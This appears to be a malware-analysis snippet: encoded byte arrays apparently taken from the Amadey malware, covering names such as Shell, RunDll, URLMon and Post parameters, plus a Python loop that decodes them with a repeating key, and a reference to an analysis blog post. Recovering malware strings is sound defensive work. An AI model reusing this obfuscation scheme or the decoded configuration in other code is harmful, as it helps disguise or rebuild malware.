GetProgDir=[0x88, 0xD7, 0xD1, 0xCB, 0xA5, 0x9A, 0xA6, 0x78, 0x97, 0xAD, 0x94, 0xBE]
OS_AR0=[0xA3, 0xCA, 0xD4, 0xD2, 0x98, 0xA5, 0x6C, 0x66, 0x64, 0x9D, 0x9F, 0xCE]
OS_AR1=[0x7F, 0xCA, 0xD6, 0xB2, 0x94, 0xAD, 0xA2, 0xAA, 0x9B, 0x8C, 0xAC, 0xD5, 0xA4, 0xC9, 0xA1, 0x82, 0xA5, 0x9C, 0x9F]
Param0=[0xA1, 0xC9, 0x9F]
Param1=[0x5E, 0xDB, 0xD5, 0xA1]
Param2=[0x5E, 0xC6, 0xD4, 0xA1]
Param3=[0x5E, 0xC7, 0xCB, 0xA1]
Param4=[0x5E, 0xD1, 0xD8, 0xA1]
Param5=[0x5E, 0xD4, 0xD5, 0xA1]
Param6=[0x5E, 0xC6, 0xD8, 0xA1]
Param7=[0x5E, 0xD5, 0xC5, 0xA1]
Param8=[0x5E, 0xDA, 0xD0, 0xA1]
Post0=[0x45, 0x6F]
Post1=[0x58, 0xAD, 0xB6, 0xB8, 0x83, 0x68, 0x6A, 0x62, 0x67]
Post2=[0x79, 0xC8, 0xC5, 0xC9, 0xA3, 0xAD, 0x73, 0x54, 0x60, 0x68, 0x5D]
Post3=[0x7B, 0xD4, 0xD0, 0xD8, 0x98, 0xA7, 0xAD, 0x61, 0x8A, 0xB2, 0xA3, 0xC7, 0x6A, 0x84, 0x95, 0xA9, 0xA7, 0xA2, 0x99, 0x95, 0x92, 0xAB, 0x9E, 0xA7, 0xD1, 0x61, 0xDC, 0x64, 0xD9, 0xDD, 0xDD, 0x64, 0x9F, 0xA2, 0xD4, 0x9D, 0x91, 0xA9, 0xAB, 0xA3, 0x9B, 0x9E, 0x95, 0xA0, 0x9B, 0x9A, 0x9C]
Post4=[0x80, 0xD4, 0xD5, 0xD8, 0x6D, 0x59]
Post5=[0x7B, 0xD4, 0xD0, 0xD8, 0x98, 0xA7, 0xAD, 0x61, 0x82, 0x9E, 0xA1, 0xC9, 0xA4, 0xCC, 0x6E, 0x59]
Post6=[0x88, 0xB4, 0xB5, 0xB8, 0x53, 0x68]
RunAs=[0xAA, 0xDA, 0xD0, 0xC5, 0xA6]
RunDll_0=[0xAA, 0xDA, 0xD0, 0xC8, 0x9F, 0xA5, 0x6C, 0x66, 0x64, 0x9E, 0xAB, 0xC7, 0x50]
Script=[0xA8, 0xD5, 0xCD, 0x93, 0x9C, 0xA7, 0x9D, 0x99, 0xAE, 0x67, 0xA3, 0xCA, 0xA0]
Shell=[0x8B, 0xAD, 0xA7, 0xB0, 0x7F, 0x6C, 0x6B, 0x62, 0x7A, 0x85, 0x7F]
TimeOut=[0x60, 0xEA, 0x00, 0x00, 0x44]
URLMon_0=[0xAD, 0xD7, 0xCE, 0xD1, 0xA2, 0xA7]
URLMon_1=[0x8D, 0xB7, 0xAE, 0xA8, 0xA2, 0xB0, 0xA7, 0xA0, 0xA5, 0x9A, 0x97, 0xB6, 0x9F, 0xAA, 0x9D, 0xA5, 0x9C, 0x77]
Vers=[0x69, 0x93, 0x94, 0x96]
ZoneIdent =[0x72, 0xBF, 0xD1, 0xD2, 0x98, 0x67, 0x82, 0x98, 0x9B, 0xA7, 0xA7, 0xCB, 0x96, 0xCD, 0x99, 0xAB]
'''

encoded_str=[0x9F, 0xD4, 0xCA, 0xC5, 0x9C, 0x9E, 0xA7, 0x98, 0xA5, 0x67, 0x96, 0xD1, 0x9D]

Key="8ebd3994693b0d4976021758c2d7bff793b0d4976021758c2d7bff7"
c=0

while(1):
    length = len(encoded_str)
    if length <= c:
        break
    length = len(Key);
    print(chr(encoded_str[c] - ord(Key[c % length])), end='')
    #print(encoded_str[c] - ord(Key[c % length]), end='')
    c += 1

References

• https://krabsonsecurity.com/2019/02/13/analyzing-amadey-a-simple-native-malware/